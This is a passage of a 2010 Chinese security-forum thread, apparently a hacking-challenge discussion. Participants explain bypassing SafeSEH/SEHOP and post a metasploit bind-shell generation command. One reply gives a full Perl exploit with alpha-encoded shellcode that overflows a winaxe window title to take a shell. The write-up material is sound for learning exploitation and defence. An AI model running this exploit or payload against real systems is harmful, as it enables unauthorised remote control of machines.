首页
社区
课程
招聘
[推荐]hackme挑战赛
发表于: 2010-9-29 12:38 60533

[推荐]hackme挑战赛

2010-9-29 12:38
60533
收藏
免费 7
支持
分享
最新回复 (93)
雪    币: 15
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
76
我用了另一种方法过SAFESEH

BEGTEXT:0042245F                 jz      loc_422526
BEGTEXT:00422465                 test    ebp, ebp
BEGTEXT:00422467                 jz      short loc_422487
BEGTEXT:00422469                 mov     ebx, [esp+100h]
BEGTEXT:00422470                 mov     eax, esp
BEGTEXT:00422472                 mov     edx, ebp
BEGTEXT:00422474                 call    strncpy_           #这里设置断点
BEGTEXT:00422479                 mov     eax, [esp+100h]
BEGTEXT:00422480                 xor     bl, bl
BEGTEXT:00422482                 mov     [esp+eax], bl
BEGTEXT:00422485                 jmp     short loc_42248C

断下来时的堆栈可以看到ebp指向0x01116xxx地址,也就是strncpy的源,也是我们的输入:


我用这里的地址去覆盖栈顶的seh指针地址让seh执行0x0111xxxx处的shellcode
这时候对shellcode又有了其他的一些特定技巧要求了,具体暂时保密了
上传的附件:
2010-10-10 12:57
0
雪    币: 2194
活跃值: (1001)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
77
    技术不到家    期待后面有更精彩的
2010-10-10 13:18
0
雪    币: 202
活跃值: (57)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
78
是精确跳转么?能分享一下就最好了,能让人学到新的技术

把控制目标机的方法补上吧:
使用metasploit的bind_tcp,相关命令如下:

# msfpayload windows/shell_bind_tcp RHOST=[COLOR="Red"][B]10.102.4.1[/B][/COLOR] r | msfencode BufferRegister=ESP -e x86/alpha_mixed -t c


其中红色加粗的部分就是目标机的ip地址。



用这里产生的shellcode覆盖掉我前面答案中test.c中shellcode的部分,重新编译运行就行了。

攻击机端的截图:


上传的附件:
2010-10-10 15:45
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
79
最近在exploit-db上还提出了另一种同时绕过safeseh和SEHOP的方法:
SEH all-at-once attack: http://www.exploit-db.com/exploits/15184/

以下是我个人的一点理解,不知是否正确,如有误,希望”WC“大牛指正:

(1)首先利用_except_handler3()函数地址覆盖SEH Handle,而next seh则保持原值不变(主要用于绕过sehop),_except_handler3函数原型如下:

int _except_handler3(
   PEXCEPTION_RECORD exception_record,
   PEXCEPTION_REGISTRATION registration,
   PCONTEXT context,
   PEXCEPTION_REGISTRATION dispatcher
);

(2)而在被覆盖的SEH之后,两个DWORD值分别代表着:scopetable数组指针和trylevel。当触发异常后,_except_handler3()就会开始在堆栈上创建了一个EXCEPTION_POINTERS结构,并用它的两个参数来对这个结构进行初始化。接着,__except_handler3从EXCEPTION_REGISTRATION 帧中获取当前的trylevel,即scopetable数组的索引。每个scopetable元素结构如下:

typedef struct _SCOPETABLE
{
    DWORD previousTryLevel;        // 前一个trylevel值
    DWORD lpfnFilter;                // 过滤函数地址
    DWORD lpfnHandler;                // 异常处理函数,即相应的_except块地址
} SCOPETABLE, *PSCOPETABLE;

因此我们可以通过这两个值来定位到shellcode,使其执行_except_handler3函数后会去调用shellcode。此时我们可以这样构造这两个值:

&shellcode = &scopetable + 0x0C * trylevel(最后一个SCOPETABLE结构的索引值) + 0x8

相当于最后一个SCOPETABLE结构中的异常处理函数地址用shellcode地址去覆盖它。另外MSVBVM60!CreateIExprSrvObj+??( x90c )中有着与_except_handler3相同的代码,因此也可用MSVBVM60!CreateIExprSrvObj+??来代替_except_handler3。
2010-10-10 16:20
0
雪    币: 15
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
80
哈哈,没那么复杂,我的方法很简单,就是:
发生溢出的strcpy函数处
strcpy(esp,ebp)
ebp=01116f34
esp=0006e788
可以发现我们数据在内存中有两份!

覆盖seh有两个方案
1. 通过间接方案跳转到0006e788所在栈中的shellcode执行
2. 直接跳转到ebp指向的01116f34数据区中的shellcode执行 。这段地址是可以执行的,并且不在任何safeseh模块中,所以seh允许执行这里的代码,而且更妙的是地址的构成01 11 6f 34都是1-0x80间的ascii码不会被转义 :) 所以用01116f34去覆盖seh handler即可。只是这样覆盖后用metasploit生成的ascii shellcode不能正常工作,需要对shellcode有进一步理解。
2010-10-10 22:04
0
雪    币: 193
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
81
这次挑战可以说是感慨颇多,虽然我对linux和缓冲区溢出了解较多,但是我对perl语言特别是perl的tk编程可以说是一窍不通,这方面远远比不上egogg大侠了。仅仅安装perl的tk插件就用了很长时间,都怪自己学艺不精,枉费了watercloud大牛出的这次试题。

一、环境搭建
这次我用的环境是Redhat 9。Redhat9上要安装xwindows、xwindows开发环境、perl语言环境(5.8.0)、安装虚拟机自带的驱动(可选)。并且最重要的是还得安装perl语言的tk插件支持。redhat 9上,软件自带的perl的版本是5.8.0。perl的版本号只有到了5.8.8的时候才自带Tk图形包。也就是说我们需要自己安装perl语言的Tk插件。经过查询是perl-Tk-804.028-1.rh9.rf.i386.rpm,并且又是rpm包,很方便。但是安装的过程中老是报错,说是缺少/usr/local/bin/nperl程序。经过查找,发现该安装包本身有问题,后来发现外国的论坛上说是安装Tk-804.029.tar.gz版本。然后经过安装发现成功。Tk-804.029.tar.gz需要编译安装,但无非就是./configure,make,make install的老路子,安装前可先看看里面的说明文档。

搭建环境时用了两台虚拟机,一个redhat 9,一个SP3。配置在同一网段,前者ip为192.168.2.99,后者ip为192.168.2.100。
二、漏洞分析

下面是一个简单的poc脚本:
use strict;
use Tk;
my $main=new MainWindow;
$main->title("a" x 2000);
$main->Label(-text=>'Hello world')->pack;
$main->Button(-text=>'Quit',-command=>sub{exit})->pack;
$main->MainLoop;
1;
弹出下面的错误提示:


点击确定,进入olldbg:

通过上图的描述得知,内存从6E788开始被0x61大量覆盖。因为eax的值来自于被覆盖的内存,所以系统在执行mov byte ptr[esp+eax],bl时报错。

因为内存是在0x6E788开始被覆盖,所以在0x6E788处下了一个内存写入断点。经过无数次F8后,来到了下面:


发现红箭头中所囊括的汇编指令就是要找的那个万恶的循环复制指令,就是该指令导致了内存的非法覆盖。
为了以后调试方面,在下面的汇编指令上加入条件断点:
00439205 >  8808            mov     byte ptr [eax], cl
在语句上加入条件断点,条件为cl == 0x61 && eax == 0x6e788

三、攻击代码编写:
首先使用metasploit生成了大量的badchar测试字符,使用perl把这些测试字符送入系统,看看winaxe对哪些字符进行了限制,这样可以在编写shellcode的时候更加小心。
测试代码:
use strict;
use Tk;
my $main=new MainWindow;

my $buf="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff";

$main->title($buf);
$main->Label(-text=>'Hello world')->pack;
$main->Button(-text=>'Quit',-command=>sub{exit})->pack;
$main->MainLoop;


发现winaxe对传入的字符是有很大限制的,\x80以后的完全不能使用。这样我们可以使用的仅仅只有\x01~\x7f了。这样加密算法只好使用alpha_mixed了。这样才能保证代码安全进入系统。

Shellcode的执行跳转方面一开始没有打算使用覆盖SHE的方式,本想着是直接覆盖返回地址,做了大量尝试发现都不行,原因在于mov eax,dword ptr[esp+100]这句。通过逆向分析发现该语句的本意是要把esp+100处的内容给eax,esp+100处是我们提交的字符串的长度。这个长度不能太长否则后面的语句在执行时将像上面一样报错。太短也不可以,太短会存在\x00字符,造成截断。所以最后只能选择覆盖SEH了。但是不知道为什么,SHE离得也太远了,得覆盖上千个字节,这么长的数据传输可能会带来传输上的不稳定。不过也只好这样了。

找跳板地址可能要麻烦一些,懒得去编程去找,比较保守的方法是,在经过调试逆向知道了系统pop的次数后,可以编写程序来找:
58              pop     eax
5B              pop     ebx
59              pop     ecx
5A              pop     edx
5C              pop     esp
5D              pop     ebp
5E              pop     esi
5F              pop     edi
比方说算出来一共有五个pop,并且最后必须有个ret或retn。那么ret是c2,retn是c3,上面的pop 8个寄存器分别为58~5F。那么就变成了一个排列组合问题了。用程序实现起来并不困难。其实我的跳板地址和egogg大侠用的地址的模式是一样的,也是
Pop ebp,Pop edi,Pop esi,Pop ecx,Pop ebx,retn这样的形式,我不太肯定这种顺序是不是编译器已经定好了的,好像有一次看见论坛上说这是堆栈平衡的固定顺序。如果是固定这种顺序的话就好找了。我找的是0x0038255b是lbxdll.dll中的一个地址。

我制作exploit的大体思路是下面这样的。


Exploit代码:

use strict;
use Tk;

my $shellcode =
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" .
"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" .
"\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x49\x78" .
"\x4f\x79\x43\x30\x43\x30\x43\x30\x45\x30\x4d\x59\x48\x65" .
"\x45\x61\x4e\x32\x51\x74\x4e\x6b\x43\x62\x46\x50\x4c\x4b" .
"\x51\x42\x46\x6c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x42\x52" .
"\x51\x38\x46\x6f\x4e\x57\x42\x6a\x44\x66\x44\x71\x49\x6f" .
"\x50\x31\x49\x50\x4c\x6c\x47\x4c\x51\x71\x43\x4c\x43\x32" .
"\x44\x6c\x45\x70\x4b\x71\x4a\x6f\x46\x6d\x47\x71\x4b\x77" .
"\x49\x72\x48\x70\x42\x72\x43\x67\x4e\x6b\x43\x62\x44\x50" .
"\x4c\x4b\x42\x62\x45\x6c\x47\x71\x4a\x70\x4e\x6b\x47\x30" .
"\x43\x48\x4b\x35\x4b\x70\x50\x74\x50\x4a\x43\x31\x48\x50" .
"\x42\x70\x4c\x4b\x50\x48\x46\x78\x4c\x4b\x42\x78\x51\x30" .
"\x47\x71\x4a\x73\x4a\x43\x47\x4c\x42\x69\x4e\x6b\x50\x34" .
"\x4e\x6b\x45\x51\x4e\x36\x45\x61\x4b\x4f\x50\x31\x4b\x70" .
"\x4e\x4c\x4b\x71\x4a\x6f\x44\x4d\x43\x31\x4a\x67\x44\x78" .
"\x4b\x50\x44\x35\x4c\x34\x47\x73\x51\x6d\x4b\x48\x45\x6b" .
"\x43\x4d\x45\x74\x43\x45\x4a\x42\x51\x48\x4e\x6b\x50\x58" .
"\x47\x54\x46\x61\x49\x43\x43\x56\x4e\x6b\x44\x4c\x50\x4b" .
"\x4e\x6b\x42\x78\x47\x6c\x43\x31\x49\x43\x4c\x4b\x43\x34" .
"\x4e\x6b\x45\x51\x48\x50\x4b\x39\x51\x54\x47\x54\x44\x64" .
"\x51\x4b\x43\x6b\x51\x71\x51\x49\x42\x7a\x50\x51\x49\x6f" .
"\x49\x70\x42\x78\x43\x6f\x51\x4a\x4c\x4b\x45\x42\x4a\x4b" .
"\x4c\x46\x43\x6d\x43\x58\x50\x33\x44\x72\x43\x30\x45\x50" .
"\x50\x68\x42\x57\x51\x63\x46\x52\x43\x6f\x43\x64\x50\x68" .
"\x42\x6c\x50\x77\x51\x36\x45\x57\x4b\x4f\x4b\x65\x4c\x78" .
"\x4a\x30\x46\x61\x47\x70\x45\x50\x45\x79\x4b\x74\x50\x54" .
"\x50\x50\x45\x38\x47\x59\x4b\x30\x50\x6b\x43\x30\x4b\x4f" .
"\x4a\x75\x42\x70\x42\x70\x50\x50\x50\x50\x51\x50\x42\x70" .
"\x47\x30\x46\x30\x45\x38\x4a\x4a\x46\x6f\x4b\x6f\x4d\x30" .
"\x4b\x4f\x4b\x65\x4c\x49\x4b\x77\x45\x38\x4f\x30\x49\x38" .
"\x43\x32\x43\x53\x50\x68\x45\x52\x47\x70\x44\x51\x43\x6c" .
"\x4b\x39\x4d\x36\x42\x4a\x44\x50\x42\x76\x46\x37\x42\x48" .
"\x4d\x49\x4f\x55\x50\x74\x43\x51\x4b\x4f\x4b\x65\x43\x58" .
"\x42\x43\x50\x6d\x42\x44\x43\x30\x4c\x49\x4a\x43\x50\x57" .
"\x50\x57\x51\x47\x44\x71\x4a\x56\x50\x6a\x47\x62\x46\x39" .
"\x46\x36\x4b\x52\x4b\x4d\x45\x36\x4f\x37\x51\x54\x46\x44" .
"\x45\x6c\x43\x31\x47\x71\x4c\x4d\x42\x64\x45\x74\x46\x70" .
"\x4f\x36\x47\x70\x42\x64\x50\x54\x46\x30\x46\x36\x50\x56" .
"\x51\x46\x50\x46\x51\x46\x42\x6e\x51\x46\x51\x46\x46\x33" .
"\x46\x36\x43\x58\x42\x59\x48\x4c\x45\x6f\x4c\x46\x49\x6f" .
"\x49\x45\x4b\x39\x4d\x30\x42\x6e\x50\x56\x42\x66\x4b\x4f" .
"\x50\x30\x50\x68\x46\x68\x4e\x67\x45\x4d\x51\x70\x4b\x4f" .
"\x48\x55\x4d\x6b\x4a\x50\x48\x35\x4f\x52\x50\x56\x42\x48" .
"\x4f\x56\x4f\x65\x4d\x6d\x4f\x6d\x4b\x4f\x4e\x35\x47\x4c" .
"\x46\x66\x43\x4c\x45\x5a\x4f\x70\x49\x6b\x4b\x50\x51\x65" .
"\x44\x45\x4f\x4b\x50\x47\x46\x73\x43\x42\x42\x4f\x50\x6a" .
"\x45\x50\x42\x73\x4b\x4f\x49\x45\x46\x6a\x41\x41";

my $jmpback1="\x7d\x88\x04";
my $ret="\x5b\x25\x38\x00";
my $jmpback2="\x45" x 12;
$jmpback2 .="\x51\x66\x44\x66\x44\x66\x05\x77\x74\x66\x05\x77\x74\x66\x50\xc3";
$jmpback2 .="\x45" x 27;

my $buf="\x45" x 5300;
$buf .="\x51\x66\x44\x66\x44\x66\x05\x77\x74\x66\x05\x51\x74\x66\x05\x12\x2b\x66\x50\x66\x5c";
$buf .="\x45" x 119;
$buf .=$shellcode;
$buf .=$jmpback2;
$buf .=$jmpback1;
$buf .=$ret;

my $main=new MainWindow;
$main->title($buf);
$main->Label(-text=>'Hello world')->pack;
$main->Button(-text=>'Quit',-command=>sub{exit})->pack;
$main->MainLoop;
1;

下面是溢出成功后得到的shell

感想
从这次测试中,真正体会到了黑客必须有广博的知识面,否则容易卡壳。
一开始对漏洞挖掘还不是非常熟悉,差点就去分析perl的模块机制和X11协议去了。
真正体会到了技术人在追求技术过程中解决一个难题时的喜悦。
上传的附件:
  • 1.JPG (16.72kb,404次下载)
  • 2.JPG (111.21kb,405次下载)
  • 3.JPG (108.92kb,404次下载)
  • 5.JPG (18.12kb,400次下载)
  • 6.JPG (52.04kb,399次下载)
  • 4.JPG (158.40kb,404次下载)
2010-10-10 23:11
0
雪    币: 193
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
82
关于metasploit的一些使用方法,过去看过的东东,给大家分享出来。
http://www.offensive-security.com/metasploit-unleashed/metasploit-exploit-targets
2010-10-10 23:21
0
雪    币: 15
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
83
赞一个!
wjphero也做的很不错!改天我一并请客,呵呵

btw:推荐ubuntu linux,装软件及配置都很简单 :)
2010-10-10 23:45
0
雪    币: 202
活跃值: (57)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
84
0x01116f34这个地址是通用的吗?我怎么记得这个地址是变化的?esp的值我感肯定是变化的,我有两个调试环境。在两个环境中esp的值是变化的。ebp的值我记得我调试的时候有个5在里面。具体记不清楚了。
2010-10-11 01:00
0
雪    币: 15
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
85
这个值也是变化的,不是精确的,我是在前面填充大量的NOP,使用偏中间的一个地址去覆盖seh handler,这样地址变化时,如果变化幅度不是很大,仍然能执行到shellcode,不过也遇到有概率无法命中 :(
2010-10-11 10:06
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
86
很想学,可惜还没找到进门的路
2010-10-13 10:55
0
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
87
特地前来捧场!
2010-10-13 12:56
0
雪    币: 189
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
88
膜拜楼上的所有大牛!正在学习MetaSploit!受教了!
2010-10-14 07:39
0
雪    币: 362
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
89
学习了.............
2010-10-14 13:45
0
雪    币: 1917
活跃值: (281)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
90
唉。 。。自己没什么技术,关注中...
期待大牛们大显身手!
2010-10-14 16:23
0
雪    币: 195
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
91
我只是好奇。顶!
2010-10-14 19:30
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
92
好强大的技术啊,先看资料了。。。
2010-10-15 09:50
0
雪    币: 47147
活跃值: (20475)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
93
这几位因做题不错要请客的,论坛也表示下,到时赠书一本以示鼓励。;)
2010-10-15 20:48
0
雪    币: 24
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
94
老杨把这个game发到这里来了啊
2010-10-26 16:47
0
游客
登录 | 注册 方可回帖
返回
//